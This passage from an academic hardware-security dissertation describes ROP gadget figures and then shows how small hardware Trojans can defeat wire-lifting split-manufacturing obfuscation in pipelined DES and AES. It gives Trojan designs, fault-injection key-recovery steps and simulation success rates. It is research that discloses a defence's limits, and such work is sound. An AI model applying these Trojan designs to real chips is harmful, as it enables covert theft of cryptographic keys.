containing the stack and just below it is shown so that the location where the value was
stored can be seen. The move gadget set can be seen in Figure 2.15. The load gadget is
shown in Figure 2.16 and the load immediate in Figure 2.17. Figure 2.19 and Figure 2.20
show the add and the subtract gadget. The and gadget is seen in Figure 2.21 with the or
gadget in Figure 2.22. Figure 2.23 shows the conditional branch gadget. The set less than
gadget is shown in Figure 2.24. The delay loop is shown in Figure 2.25.
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Fig. 2.15: Move. The value contained in r4 moved to r0.

Fig. 2.16: Load. The value 0xDEADBEEF from memory location 0x020000FA4 to r0. Note
that the stack pointer shows the bottom of the stack as 0x20000FC4 before execution begins.

46

Fig. 2.17: Load Immediate. The value 0xDEADBEEF is popped from the stack into r4 and
then moved to r0.

Fig. 2.18: Store. The value 0xDEADBEEF is taken from the stack, placed in r0 and then
written to memory location 0x20000FA8 which is 12 plus 0x20000F9C.
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Fig. 2.19: Add. The values 0x02020202 and 0x03030303 from the stack are added together
and the result, 0x05050505, is placed in r1.

Fig. 2.20: Sub. The value 0x02020202 is subtracted from 0x03030303 (both values are
found on the stack) and the result, 0x01010101, is placed in r0.
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Fig. 2.21: And. The value 0x11111111 is placed in r3 and anded with the value, 0x76767676
already in r2. The result, 0x10101010 finishes in r2.

Fig. 2.22: Or. The two values 0xAAAAAAAA and 0xCCCCCCCC are taken from the stack and
ored with each other. 0xEEEEEEEE is the result of that operation and it is placed in r0.
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Fig. 2.23: Conditional Branch. The value 0x00000001 is placed in r2 which indicates to
branch to the location found at memory location 0x20001010. If any other value besides
0x00000001 was placed in r2, the branch to the address located at 0x2000100C would have
been followed.

Fig. 2.24: Set Less Than. The values 0x00000005 and 0x00000007 are tested. As the first
value is less than the second a 0x00000001 is placed in r0. If the first value was not less
than the second value, a 0x00000000 would have been placed in r0.
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Fig. 2.25: Delay Loop. 0x00000000 is initially loaded into r5 and 0x00000009 is loaded
into r3. r5 is incremented until it equals r3 and then the loop finishes. The final value of
0x00000009 can be seen in both r5 and r3.
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CHAPTER 3
On the Limitations of Obfuscating Redundant Circuits in Frustrating Hardware Trojan
Implantation
ABSTRACT Split manufacturing is a method to secure circuits by creating layers of
a circuit separately— one layer would be manufactured at a trusted foundry and the other
at an untrusted foundry. The complete design would not be known without both pieces. A
prominent example of this approach is a paper entitled “Securing Computer Hardware Using
3D Integrated Circuit (IC) Technology and Split Manufacturing for Obfuscation" [1]. This
paper is very important in the field because it gives strong theoretical proofs as apposed to
more recent publications which only provide empirical results [2–7]. The authors claim that
even if an attacker knew the exact layout of a circuit before it was divided, the technique
set forth would prevent the attacker from inserting an effective hardware Trojan into the
circuit as long as they did not have knowledge of the trusted layer.
We claim that this method of split manufacturing for security from [1] is not effective
for protecting redundant circuits such as cryptographic ciphers from the implantation of
hardware Trojans. Specifically, we were able to insert a hardware Trojan with a much
higher success rate and smaller footprint than the example discussed in the original work.
Our analysis was carried out on the data encryption standard (DES), the cryptographic
circuit based on the Feistel structure, which was used as an example in the original work.
In order to demonstrate more broadly that cryptographic ciphers are not protected by
the method of split manufacturing, we also inserted a hardware Trojan into the advanced
encryption standard (AES) after this method of split manufacturing had been applied. AES
was chosen because it utilizes a substitution-permutation network as its structure, instead of
the Feistel structure used by DES. Our analysis and results from simulations show that the
methods described in [1] to obfuscate cryptographic ciphers as a class of redundant circuits
do not create the intended amount of security. We do not discuss the detectability of the
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hardware Trojans used as this was not discussed in the original work. We only show vast
improvement over the metrics used in [1].

3.1

Introduction
Hardware Trojans have been a topic widely discussed and analyzed recently [8–13].

They are malicious modifications made to a circuit which can leak confidential information
such as secret keys, or cause a circuit to malfunction [10]. A hardware Trojan must be
inserted at some point during the development of an integrated circuit (IC). There are four
possible points of insertion during this cycle: the specification phase, the design phase, the
fabrication phase and the assembly phase [14]. Hardware Trojans present a potential security
concern to anything that utilizes integrated circuits. The U.S. Department of Commerce has
estimated that counterfeit electronic components have appeared in 39% of the Department
of Defense supply chain [15]. Such counterfeit parts have been discovered in Navy helicopters
and Air Force planes [16]. Thus, there exists a very real possibility that ICs that include
malicious logic designed to leak critical information or make systems fail could make their
way into either military or civilian systems.
In an effort to thwart malicious actors, researchers have discovered new forms of Trojans
and ways to defeat them [8]. Others have concentrated on finding a way to detect hardware
Trojans in a compromised circuit [17,18]. Another approach taken to mitigate these threats
is to harden circuits against hardware Trojans. This approach designs the circuit in a
way which increases the difficulty of successfully inserting a Trojan. An example of this
approach was proposed by Imeson et al. [1] whereby a wire lifting procedure, coupled with
3D fabrication, was used to obscure the target circuit from the attacker. This method
concentrated on obfuscating the circuit— if an attacker could not distinguish different parts
of the circuit from one another, they would not be able to insert an effective hardware
Trojan. This procedure provided a novel method to secure a circuit against hardware Trojan
implantation at the foundry. The remainder of this work will focus on the paper by Imeson
et al. [1].
The paper in question by Imeson et al. had promising results and presented a novel
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method of securing circuitry from hardware Trojan implantation [1]. This is an important
paper in the field of 3D circuit obfuscation because it provides strong theoretical proofs [2],
unlike most of the literature on the topic, including more resent papers, which merely provide
empirical results [2–7]. For this reason it is important to point out flaws in the methods as
it is a foundational work in the field.
The paper made contributions that have applicability to many types of circuits. However, the claims of increased security made were too broad in the applicability of the wire
lifting procedure. This was made obvious by the provided example of a DES circuit. We do
not dispute the claims of increased security for all circuits generally, but we do dispute them
in that they do not apply to redundant circuits (defined in Section 3.3.3). We hypothesize
that there exists a class of circuits for which the methods proposed by [1] do not provide
the claimed security. This class of circuits is redundant circuits, with cryptographic ciphers
being a subclass of redundant circuits.
We present methods to bypass the defense of [1] that we believe to be applicable not
only to DES and AES but also other redundant, pipelined circuits, which are widely used in
cryptography; e.g., the Feistel structure and substitution-permutation networks (SPN) [19–
23]. Such ciphers and cryptographic devices are known to be vulnerable to fault injection
attacks [24, 25], to which our attack is a Trojan-based variant.
This paper is outlined as follows. Our specific contributions comprise Section 3.2.
Section 3.3 provides some background on 3D circuit obfuscation, the fault-style attack under
consideration and defines the term redundant circuits, as used by us. The motivation for our
work is set forth in Section 3.4. Section 3.5 discusses the threat model and sets forth several
weaknesses in the 3D obfuscation model, specifically pertaining to DES (Feistel structures).
Section 3.6 demonstrates how these weaknesses in 3D obfuscation extend to AES (SPN).
Finally conclusions and future work are put forth in Section 3.7.

3.2

Contributions
We allocated a significant amount of time to reproducing the results from the wire lifting

procedure found in [1], running the author’s publicly available code and their examples.
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This is itself a contribution because we were unable to reproduce their results, and this is
something that the community should know about. We were able to reproduce their results
for small circuits, however for the larger example they provide of the DES circuit, we could
not. The code ran for months and never completed. This was the case even after being in
contact with the authors. This is discussed further in Section 3.4. With this limitation in
mind, we make the most pessimistic assumptions in our work, i.e., we consider the most
secure possible outcome for the result of the wire lifting procedure. The following is a list
of additional contributions found in this work:
1. A discussion demonstrating how redundant circuitry weakens the defenses proposed
in [1].
2. A demonstration showing that the wire lifting procedure from [1] does not provide the
intended amount of security to highly redundant circuits, particularly cryptographic
ciphers. This is shown on both DES and AES circuits. These circuits were chosen to
show that the wire lifting procedure does not frustrate the implantation of a hardware
Trojan for both a Feistel structure or an SPN.
3. An approach which allows a hardware Trojan to be inserted in a DES circuit that
has undergone the wire lifting procedure is explained. This is a modification to the
Trojan described in [1]. This new approach entails attacking all portions of the circuit
that are indistinguishable from one another at the same time, instead of choosing one
portion and only attacking it, or attacking each portion one at a time.
4. A second approach is introduced which allows a hardware Trojan to be inserted in
an AES circuit that has undergone the wire lifting procedure. This method is similar
to the approach outlined for inserting a Trojan in a DES circuit, but does not attack
every indistinguishable portion of the circuit at the same time. It attacks enough of
the indistinguishable portions of the circuit to be able to recover the key through an
exhaustive search. This allows the size of the Trojan to be less than it would have to
be if every portion of the circuit indistinguishable from another were to be attacked.
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This method can also be applied to a DES circuit, increasing the probability of success
of against a DES circuit to 100%.

3.3

Background
In this section, a brief background on 3D obfuscation is presented and followed by a

short explanation of fault injection analysis. Then the term redundant circuits is defined as
used in this work.

3.3.1

3D Obfuscation

Imeson et al. introduced a wire lifting procedure to select wires to lift to the trusted tier
for split manufacturing. The wire lifting procedure is a greedy heuristic to make individual
gates or groupings of gates indistinguishable from one another [1]. The gates left on the
untrusted layer can even be scrambled in space to remove any hints of what they may be
used for. Hence, unlike in a traditional single-layered layout, the locality of the gates has
no correlation to their connections. If the outputs of two AND gates were connected to the
inputs of another AND gate these gates would very likely have close proximity to one another.
However implementing this method, the three gates may occupy three different corners of
the chip. Without the traces between them to identify their functionality an attacker would
not be able to tell how the gates are connected and therefore could not implement a Trojan
in the right place to create the intended adverse result.
A gate is k-secure when there are k − 1 other gates in the circuit that are indistinguishable from that gate. Imeson et al. define the k-security of the circuit as each gate in
the circuit being at least k-secure. As an example, after the wire-lifting procedure, if there
was a set of gates that was 3-secure and the remaining gates were 5-secure, the k-security
of the circuit would be 3-secure, as each gate is at least 3-secure. Depending on the target
k-security of a circuit, more or fewer wires may need to be lifted. An illustration follows:
Figure 3.1 shows an illustration of lifting wires to create k-security. Graph 1 represents
a circuit in the original state with inputs A, B, and C and outputs D, E, and F. Graph 2
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3.3.2

Fault Injection Analysis

Feistel Function

The method of circuit obfuscation by wire-lifting set forth in [1] is said to protect a
DES circuit against a hardware Trojan which would create a fault attack on the LSB of the
14th round. This technique of discovering the secret key by fault injection on the output of
the 14th round or input of the 15th round is set forth in [26]. The technique is as follows: a
known fault on the output of the 14th round propagates through the 15th and 16th rounds.
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The attacker deduces the DES S-boxes that were affected by the fault by comparing the
corrupted cipher text with a previously captured uncorrupted cipher text. Then through a
series of trial and error the attacker guesses the values of the S-boxes and uses these guesses
to create a possible round key for the 16th round. This round key can then be reversed
through the DES key schedule to attain a DES secret key with 8 missing bits. These final
bits are then searched in a brute force manner by running the DES algorithm with possible
full keys and the plaintext that should give the uncorrupted cipher text. This process is
continued from the S-box guesses until a possible full key yields the expected cipher text
from a known plaintext, at which point the secret key is known.

3.3.3

Redundant Circuits

We define a redundant circuit to be a circuit in which logic is duplicated multiple times,
separated by pipeline stages. The methods set forth in [1] are very good at creating portions
of circuits that are indistinguishable from one another, but perhaps the consequences of
these methods were not considered in the case of them being applied to circuits which are
redundant in nature. Redundant circuits run through the wire lifting procedure would be
subject to one of the following two outcomes, assuming the same number of wires are lifted
from each circuit:
1. Each redundant portion of the circuit will be identical to one another after the wire
lifting procedure.
2. The k-security of the circuit will be greatly reduced.
Figure 3.2 shows the graph representation of a redundant circuit. This is Graph 1
taken from Figure 3.1 duplicated through a pipeline stage. It has two redundant portions
represented by nodes 1-6 and nodes 7-12. If we remove the inputs (A, B and C) and the
outputs (D, E and F) as well as the pipeline stage and allow the circuit to undergo the wire
lifting procedure Figure 3.3 and Figure 3.4 are two possible results. Figure 3.3 aligns with
item 1 from above. The two redundant portions of the design have had identical wires lifted.
If a single redundant portion was examined by itself, it would look identical to Graph 2 taken
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from Figure 3.1 and would have a k-security of 2. However, the circuit as a whole has a
k-security of 4, each subgraph is indistinguishable from 3 other subgraphs.
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remaining wires. Minimizing the number of wires lifted is important because as the number

R

X

of lifted wires increases, so increases the power consumption, delay, and area of a circuit [1].
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Fig. 3.4: A redundant circuit which has undergone the wire lifting procedure and the two
redundant portions are not identical to each other. The k-security of this circuit is 2.

This example illustrates the security concern that redundant circuits introduce. If an
attacker wanted to modify the circuit represented by Graph 3 in Figure 3.2 so that the output
D was always held to 0, they would need to attack node 11. The DES circuit example in [1]
suggested that a successful Trojan would need 5X the number of gates as the k-security of
the node to be attacked. But in fact, this could be done with exactly the number of gates
equal to the k-security of the node to be attacked. In Figure 3.3 an AND gate with one input
held to 0 once triggered, would be attached to nodes S, T, Y, and Z. This would guarantee
that output D was held to zero, and would require exactly four AND gates.

3.4

Motivation
With a work as highly regarded in the community as [1], it is important to point out

shortcomings. Although we are not attempting to discredit this work as a whole, it is
important to point out the limitations that it has so that the methods described are not
erroneously applied to a circuit for which the promise of increased security cannot be fulfilled.
In the redundant circuit example given in the paper, DES, the claim is made that after
the methods from [1] were employed, an attacker could either place a small Trojan in the
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circuit with a 1/256 chance of success, or place a large, 1280 gate Trojan in the circuit with
a 100% chance of success, but the number of plaintexts would increase by 255×. We present
another possibility: a hardware Trojan containing only 256 gates. Simulations show a 75%
chance of recovering the secret key with only two plaintexts presented using this Trojan.
This is a 191× improvement over the success rate of the small Trojan presented, and at the
same time, the Trojan comprises 5× fewer gates and requires exactly as many plaintexts as
the small Trojan, not the 255X number required by the large Trojan.
We believe that the example of a cryptographic cipher was a poor choice for the wire
lifting procedure not only because its size makes it time prohibitive to apply the method to
(as discussed in Section 3.5), but also because these circuits are highly redundant in nature,
which allows for effective fault-style attacks. DES has 16 identical rounds making it fit into
the class of highly redundant circuits. It has been broken using differential fault analysis on
early, middle and late rounds [26]. That is, even if a specific bit cannot be targeted because
of the protections the wire lifting procedure provides, the circuit could still be compromised
by a hardware Trojan. So long as faults can be induced in the DES circuit, even if the
location of the Trojan or the round in which it was implanted in is not certain, the secret
key can still be discovered (as shown in Sections 3.5 and 3.6).
Furthermore, we attempted to generalize the attack by investigating another highly
redundant cryptographic cipher, the Advanced Encryption Standard (AES), which uses a
different cryptographic structure (SPN) from DES. We show that for AES the wire lifting
procedure again does not provide the claimed security as the the secret key can be recovered
using at most six plaintexts (Section 3.6). Specifically, We show that with a Trojan of 640
gates the key can be recovered 53% of the time, 700 gates 89% of the time and an 800 gate
Trojan would be able to recover the key 99.9% of the time. These Trojans are still 50%,
45% and 37.5% smaller than the style of Trojan suggested for DES (and adapted to AES),
and they use 97.6% fewer plaintexts in the worst case.
We also feel it important to point out the difficulties we experienced attempting to
reproduce the results of the DES example given in [1]. We were unable to perform the
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wire lifting procedure as outlined in the original work. We used the code base and examples
from [1] that were made available to the public [27]. We have had a varying degree of success
using this code. Over the course of several years, we have been in contact with the authors
of the original work, who were at first very helpful in aiding our efforts to reproduce their
work. They fixed errors in the code base and added files that were needed to build the code
but were not originally included. The small example from the README provided does work,
for instance. However, for the more complex circuits that are included with the code base,
e.g., the DES circuit, the wire-lifting procedure never successfully terminated.
One of the points in the original paper was that the wire lifting procedure is scalable,
e.g., can be used on a DES implementation. We believe that our failure to produce a k-secure
DES circuit, using the code provided by the authors of [1], seems to indicate a significant
weakness of the original work. That is, although the wire lifting procedure, as implemented
in the authors’ code, works on smaller, simpler circuits, we have not been able to have a
partitioned portion of the DES circuit complete the procedure. Even after gaining access to
the cluster resources at the University of Utah and running the code for three weeks, the
wire lifting procedure made little progress. We estimated that given the progress it would
take additional years to complete. On another virtual machine with the ability to run 24
threads and 128 GB of RAM, the example DES wire lifting procedure ran for over 135 days
without finishing or showing significant progress. According to the authors, when queried,
such computational resources should have been sufficient but they were unable to provide a
time frame for completion.

3.5

Weaknesses of 3D Obfuscation on Redundant Circuitry
The following section describes the threat model, the specific DES circuit that was

attacked, and the attacks which demonstrate that the wire lifting procedure set forth in [1]
does not provide the the level of security that it attempts to because of the redundant nature
of the DES circuit.

3.5.1

Threat Model
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As in the existing work [1], we assume that the Trojan is inserted during the fabrication
phase. In addition, the attacker has full knowledge of the original circuit. Also, a trusted
party has performed the wire lifting procedure as described earlier, and manufactured the
trusted tier. However, the attacker does not have a knowledge of the results of wire lifting
procedure. Hence, if the attacker intends to change the behavior of the circuit, they can
only do so with a one in k chance of success, where k is the k-security of the circuit. This is
because the attacker will not be able to differentiate any gate between itself and k − 1 other
gates.
We assume a pipelined DES circuit on an application-specific integrated circuit (ASIC)
as explained in Section 3.5.2. The attacker is able to probe the device with plaintext challenges that the attacker chooses and observe the cipher text outputs. The attacker is also
able to trigger the Trojan. This will allow the attacker to learn the secret key.

3.5.2

The DES Circuit

We begin by discussing the DES circuit.. DES has 16 rounds of logic that are identical
to one another [26], hence it is a redundant circuit. DES was used in [1] as a demonstration
of the difficulty an attacker would have implanting a successful hardware Trojan into a
design that had undergone the wire lifting procedure. Although the specific details of the
implementation of DES used were not given, the circuit is described as having approximately
35,000 logic gates. This matches well with a pipelined implementation of DES. Since a ksecurity of 16 is achieved by simply removing the interconnects between the rounds, we
assume that each round is indistinguishable from any other round in the circuit. After the
wire lifting procedure the final circuit is 64-secure, and the specific bit given as an example
of an attack, the LSB of the 14th round, is in fact 256 secure.
The following assumptions are also made in this work because the exact implementation
used in [1] was not obvious: a full encryption or decryption will take place with every clock
cycle regardless of the delay through the complete circuit. Also the minimum number of
pipeline stages would be 17, one between each round and one for the inputs and another for
the outputs.
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3.5.3

Attack Outline

Imeson et al. gave only two options for a Trojan to attack the LSB of the 14th round [1].
Either the attacker could choose one of the 256 possibilities and have a 1/256 chance of
success, or attack each of the options one at a time in a multiplexed attack which would
yield a large Trojan. However, we suggest that an attacker might attack each of the 256 bits
all at once, holding them at zero simultaneously for a single clock cycle. This new attack
would have two effects. The first effect is that it would hold the LSB of round 14 to zero
for a particular plaintext that is in flight through the circuit. It would also hold 15 other
bits to zero for the 14th round. The LSB output of any round is 16-secure within each of
its rounds viewed independently. The other effect is that each of the other rounds will have
bits that are also held to zero. However, as this is a pipelined design the bits held to zero in
the other rounds will have no effect on the ciphertext output in question. This new design
for the Trojan is compared to the original in Figure 3.5. The removal of the multiplexer
decreases the size of the Trojan dramatically, from 1280 gates required down to 256.

Original Trojan
0

Proposed Trojan
0

8‐bit select
0

1

...

255

0

1

...

255

Fig. 3.5: The figure on the left shows the original Trojan which requires 1280 gates. The
figure on the right shows a smarter Trojan which requires 256 gates, numbered 0 to 255.

Note that even though each plaintext that is being processed by the crypto device will
be corrupted by the hardware Trojan forcing its bits to zero, the plaintext that is corrupted
at the end of the 14th round will not be corrupted in previous or later rounds. As this cypher
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text is identified at the output of the crypto device it will contain information needed to
determine the secret key of the system.
A plaintext is presented at the inputs and cipher text exits the circuit at the outputs on
every clock cycle, so with 16 rounds, there can be 16 unique plaintexts being encrypted at
once, each in a different round. Figure 3.6 demonstrates corruption occurring in 3 separate
rounds of a pipelined implementation of DES. Assume the corruption in rounds 13, 14 and
15 occur on the same clock cycle, t. Then at t+1 an uncorrupted cipher text will emerge
from round 16. At time t+2, a corrupted cipher text will emerge with corruption15, at t+3
a corrupted cipher text will emerge with corruption14 and at t+4 a corrupted cipher text
will emerge with corruption13.

Fig. 3.6: DES corruption example. In this pipelined implementation of DES there are 16
unique encryptions occurring at the same time. If a there is corruption in rounds 13, 14 and
15 all at the same time then there will be three corrupted cipher texts. One cipher text will
have been corrupted by corruption15, one by corruption14, and the third by corruption13.

3.5.4

Attack Implementation

We will discuss two attacks. A pipelined implementation of DES was obtained from
opencores.org [28] in order to be unbiased, and used for these attacks. The design obtained
was unmodified with the exception of inserting the hardware Trojan into the design.
In our simulations we added the ability for every bit to become corrupted, or held to
zero if the Trojan was activated. Using the wire lifting procedure, the number of places in
the circuit that would have been indistinguishable from the LSB of the 14th round would
be known. To be conservative, we were generous in the number of locations in the DES
circuit that may be indistinguishable from the LSB of the 14th round. Namely we allowed
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every location a possibility to be included in the Trojan, resulting in the ability to corrupt
locations which could make it more difficult to recover the key that would not have been
included if the wire lifting procedure was completed. With 10,000 runs we randomly selected
bits to hold to zero along with the LSB of the 14th round.This was done in lieu of the wire
lifting procedure.

Attack One: Limit Scope to the Round 14
The first attack entails attacking a single round in the unbiased DES circuit. We
identified the 14th round and attached an AND gate to the LSB output of that round. When
triggered, this AND gate will hold that output bit to zero. If we assume that the entire circuit
is 256-secure and there are 16 identical rounds, then if the LSB has 255 other gates that look
exactly like it after the wire-lifting procedure then the 14th round would have 15 other gates
that are indistinguishable from it. This amounts to 16 bits per round. (This assumption is
based on the statement from page 12 of [1] which states, “We note that a security level of
16 is obtained in the first few rounds of partitioning by removing 13% of the wires, i.e., all
wires that lie between successive DES rounds.” [1]) Therefore, in addition to the AND gate
placed on the LSB of the 14th round to hold it to zero we also randomly selected 15 other
locations where a value would be held to zero by an AND gate triggered at the same instant
as the gate tying the LSB to zero.
The DES circuit was modified in the following manner. In the original circuit there
was a single description of a DES round written in several Verilog files. These files were
duplicated in order to differentiate the 14th round from the other rounds. The duplicated
14th round was modified to include AND gates associated with every bit of the computation.
These AND gates are associated with each bit of each input and output as well as the interround logic and each s-box lookup. In total, 2240 additional AND gates were added to the
14th round and attached to an individual trigger which resulted in a 2240 bit bus at the
top level of the circuit hierarchy. The default value for that bus was set to 1 for each bit
in the test-bench used to simulate the circuit. A value of 1 on the second input of an AND
gate would not cause any change in the output. When the simulation is run, the test-bench
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contains code to randomly select 15 of those 2240 bits to tie to zero as well as the LSB
output of the 14th round.
We selected 15 random locations to provide an unbiased simulation of what gates an
attacker might be faced with in a 16-secure round. Only 15 random locations were needed
in the 14th round because the other 240 other locations that would be indistinguishable
from the LSB of the 14th round are corrupted as well, however, they are in different rounds
which cause corruption to different plaintexts being encrypted. Sixteen total corrupted
plaintexts would result, but we are only interested in the corrupted plaintext resulting from
the corruption in the 14th round.

Attack Two: Allow any bit to be corrupted
In an effort to expand our findings, we designed a second attack. Although we felt that
our assumptions used in the first attack (that if the LSB of the 14th round was 256-secure,
that it would be 16-secure inside of each round) were sound based on the wording in [1],
we were not able to verify by successfully running the pipelined DES circuit through the
wire-lifting code. Thus a second, more restrictive, attack would confirm the weakness of the
wire lifting procedure.
This second attack extended the first attack to each of the 16 rounds to be more broad.
As the LSB of the 14th round is said to be 256-secure, we randomly selected 255 bits from
anywhere in the circuit and held those bits to zero in the same clock cycle that we held the
LSB of the 14th round to zero. Note, there was other logic in a pipelined DES circuit that
was outside of the round logic, such as the key scheduler. The setup for this attack included
all logic in the design, not just the logic found within the 16 rounds. As was done to the
14th round, each bit of the other rounds as well as all additional logic in the design was
associated with an AND gate. One of the inputs to this AND gate was the original logic from
the circuit. The other input was fed from the hierarchy of the Verilog design from a bus at
the top level. This bus was used to control each of the AND gates. When this bus drove a
1 on each of its bits the DES circuit functioned normally. When a 0 was driven on any of
the bits of that bus, the associated AND gate would have an output of 0. The output of the
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logic in the affected area of the circuit may have already been a 0, in which case no effect
would be seen. However, if the output should have been a 1 then this may cause an error
in the DES computation.
For this second attack the bus at the top level which controlled each of the added AND
gates was 36,823 bits wide. We take this to be a reasonable comparison to the DES circuit
referenced in [1] which contained approximately 35,000 gates. The attack procedure is very
similar to the first attack. The 36,823-bit bus is initialized to 1 to allow for normal operation
of the circuit. The DES circuit is allowed to run for a set amount of time and then 255 bits
of the 36,823 bit bus are held to 0 along with the LSB output of the 14th round for a single
clock cycle.
Each simulation represents a single implementation of Trojan logic. The actual Trojan
circuit would not contain 36,823 bits but instead only the 255 bits in addition to the LSB
output of the 14th round. These simulations will help us determine the likelihood of success
of an attack on a DES circuit that has undergone the wire lifting procedure.

3.5.5

Attack Results

For each of the two attacks, the plaintext input always remained constant to reduce the
number of variables. Both the corrupted and uncorrupted cipher text outputs were collected
from the Verilog simulations. These outputs were analyzed using the fault injection analysis
methods described in [29] and expanded in [26]. A C program was written to automatically
implement the methods identified in [26] and determine whether or not the secret key could
be identified.
These methods created several guesses for the round key of the 15th round. Each guess
contained 48 of the needed 56 bits of the secret key. Then the remaining 256 possibilities for
the remaining 8 bits were exhaustively searched through a software DES implementation.
If the cipher text resulting from the key guess matched the uncorrupted cipher text output
then the key that was used to create it was indeed the original key.
For the first attack, Figure 3.7 displays the results. Out of the 10,000 simulations
run, there were 7,554 that resulted in a key that was easily recoverable. The results of
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Fig. 3.7: Attack 1 Results.
the second attack can be seen in Figure 3.8. Out of the 10,000 simulations run there were
4,437 recoverable keys. Truly, the completely random nature to which we selected the 255
points in the second attack may have actually biased us towards failure. It is likely that
in the actual obfuscated circuit the LSB of the 14th round would not have 36,823 other
possibilities to be confused with. Still, a success rate of approximately 75% (191/256) and
44% (112/256) is far better than the 1/256 chance, or 0.4% success rate that was discussed
in [1].
The other alternative that [1] offered was a guaranteed success rate, but a Trojan that
was 1280 gates large not including any trigger logic. While the existing work [1] did not
discuss an acceptable Trojan size, the Trojan proposed here would be 256 gates not including
any trigger logic. This Trojan is 5x smaller in size, which is again a substantial improvement.

3.5.6

Discussion

The results above show a significant improvement using the metrics that the authors
of [1] used. However, these results would have been even better if we allowed ourselves to
make further assumptions. We did not allow this in our experiments because we were not
able to verify using the wire lifting procedure. However, when the actual architecture of the
circuit is considered, the bits that will be indistinguishable from the LSB of the 14th round
are output bits 1-15 of that same round. The 240 other bits in the other rounds that would
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Fig. 3.8: Attack 2 Results.
be indistinguishable from the LSB of the 14th round are output bits 0-15 of each of the
other 15 rounds. If this assumption was allowed to be made, the success rate of the Trojan
would be 100%. Fault injection analysis teaches that the greater the number of known bits
that have a fault induced on them, the easier it is to recover the key [26].

3.6

Weaknesses extended to AES
Hardware Trojan attacks can also be created to make AES circuits vulnerable, even

after the wire lifting procedure has been performed. The example of AES being vulnerable
is important because it extends the previous attack to another class of cryptographic schemes
(those based on SPN). For our purposes, 128-bit AES will be considered, but the attack can
be extended to 192 and 256-bit AES, as well. It must be reiterated that because the publicly
available wire lifting procedure could not be reproduced, several pessimistic assumptions
were made.

3.6.1

AES Attack Background

The original proposal for AES was submitted to the National Institute of Standards and
Technology in 1999 which describes the Rijndael algorithm, a symmetric block cipher [30].
It was adopted as a standard in 2001 [31]. The standard allows for the processing of 128 bit
data blocks with an option of key sizes of 128, 192 or 256 bits. The 128-bit data is organized
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into a 2D array of 4x4 bytes called the State. For a 128-bit key operating on 128-bit data,
AES has 10 rounds. Rounds 1-9 are all identical with their State manipulation steps as
follows [31]:
1. Perform byte substitutions.
2. Shift the rows of the matrix.
3. Perform the mix column transformation.
4. Add the round key to the result.
The final round, round 10 performs steps 1, 2 and 4, but leaves out step 3, the mix column transformation. This is an important distinction from DES which has 16 identical
rounds [26]. This difference is important because in [1] the idea of manually partitioning the
circuit and removing the wires between the rounds is the first step of the procedure, which
creates a k-security of 16. With AES, if the connections between the rounds are broken, no
such k-security is achieved because the final round is not identical to the others. With this
in mind, we would suggest partitioning the AES circuit in a way that would allow for the
greatest k-security as was done in the example of DES. We submit that the best case is for
removing the wires between all rounds, as well as between steps 2 and 3 and between steps
3 and 4 before performing the wire lifting procedure, as seen in Figure 3.9. This is important to do, otherwise the final round would be easily attacked as it would have a different
footprint than all the other rounds.
After this partitioning procedure is completed the final round circuit of SubBytes to
ShiftRows, as well as the AddRoundKey circuit, is 10-secure, as there would be nine other
rounds in which those identical circuits existed. We would now pass the partitions through
the wire lifting procedure with a goal of having each circuit be x-secure. Note that in order
to add anonymity to the final round, we have isolated the AddRoundKey circuit which is by
default 128-secure in each round (this is because that circuit is made up entirely of 128 XOR
gates). The whole circuit, then, is in fact 1280-secure. There are 1279 other gates in the

75
SubBytes

SubBytes

ShiftRows

ShiftRows
Partitioning

MixColumns

MixColumns

AddRoundKey

AddRoundKey

Fig. 3.9: After partitioning the rounds to remove wires between their components, there
would be nine identical MixColumns circuits, ten identical circuits of SubBytes followed by
ShiftRows, and ten AddRoundKey circuits.
circuit which cannot be distinguished from a particular XOR gate in the final AddRoundKey
circuit. 127 of these 1279 gates also exist in the final AddRoundKey circuit.

3.6.2

AES Attack Outline

In order to recover the 128-bit key of AES, we propose to attack the circuit in the final
round during the AddRoundKey step (when the round key is added in). That is, if we can
implant a hardware Trojan that can cause a fault that holds a bit to 0 in at least 64 of the
128 bits that are XOR’d with the round key, those bits of the round key can be revealed.
The final bits of the key (up to 64 bits) can be brute forced by an exhaustive search until
the full key is recovered. After the attack the remaining bits of the round key would be
guessed, and the round key would be propagated through the AES key schedule in reverse
to reveal the key. That key would be used to encrypt a known plaintext-ciphertext pair.
If the ciphertext encrypted under the guessed key matched the original ciphertext then the
guessed key is correct. If not, then the process starts over by guessing the remaining bits in
the final round key, again.
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This attack uses the properties of the XOR operation: A XOR B = B where A = 0. Any
bit of the final round key will be revealed if it is XOR’d with 0. If our hardware Trojan affects
random bits that are XOR’d with the final round key, we do not need to attack specific bits.
In fact, we do not even need to know how many bits were attacked, we only need enough
plaintexts to recover all the bits. The following is an illustrative example.
Let us consider the least significant byte of the final step, adding the round key, of the
final round of an AES encryption. Assume that two bits of this byte are held low when
a hardware Trojan is active but it is not known which bits are affected by the Trojan.
Given that enough ciphertext pairs (C,C’), where C is a correctly encrypted ciphertext and
C’ is a cipher text encrypted while the hardware Trojan was active, and they are both the
encryption of the same plaintext, we can determine which bits are associated with the Trojan
and the value of those bits of the round key. For example, assume that the least significant
byte of the round key (from here on referred to as "the key") is 10101010 and the least
significant byte of the State (from here on referred to as “the State”) being XOR’d with the
key is 11110000. In this case, C = 01011010 and C’ = 01001010. The errored byte E is
calculated by C XOR C’, which in this case yields 00010000, where a 1 indicates a bit that
was affected by the Trojan.
Now, using E as a mask over C’ the result is: 0100101. This indicates that bit 4
(starting with 0 on the right) of the round key is 0 and we have recovered one of the two
bits. Continuing this example, after several more ciphertext pairs, in which E = 00000000,
we find the pair (00101101, 00101111) and E = 00000010. Again using E as a mask over
C’ to select the revealed portion of the key, this indicates that bit 1 of the key is 1. At
this point we have recovered both bits of the round key that this Trojan allows; i.e., we
discovered that the round key looks like –-0–1-. More bits affected by the Trojan would
have revealed more key bits.
The attack above is similar to the attack on the DES circuit in that the Trojan consists
of AND gates designed to hold the bits they affect to 0 when activated. Like the attack on
the DES circuit, a pipelined AES implementation will be used. The entire Trojan will be
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activated at the same time, for a single clock cycle, so if gates of the Trojan affect bits
in rounds besides the final round, they will not change the ciphertext output that we are
concerned with. Only the gates of the Trojan that lie within the final round will cause any
change to that ciphertext.

3.6.3

AES Attack Implementation

A pipelined implementation of AES was obtained from opencores.org [32], in order to
start with an unbiased implementation. This design also came with a test bench that was
utilized for simulation. The circuit and test bench were modified only to add the hardware
Trojan; in no other way was the circuit tampered with.
The k-security of any of the XOR gates in the final round during the AddRoundKey
step is 128 with respect to that round and 1280 with respect to the entire circuit. If our
intention was to attack a specific XOR gate we would need a hardware Trojan to contain 1280
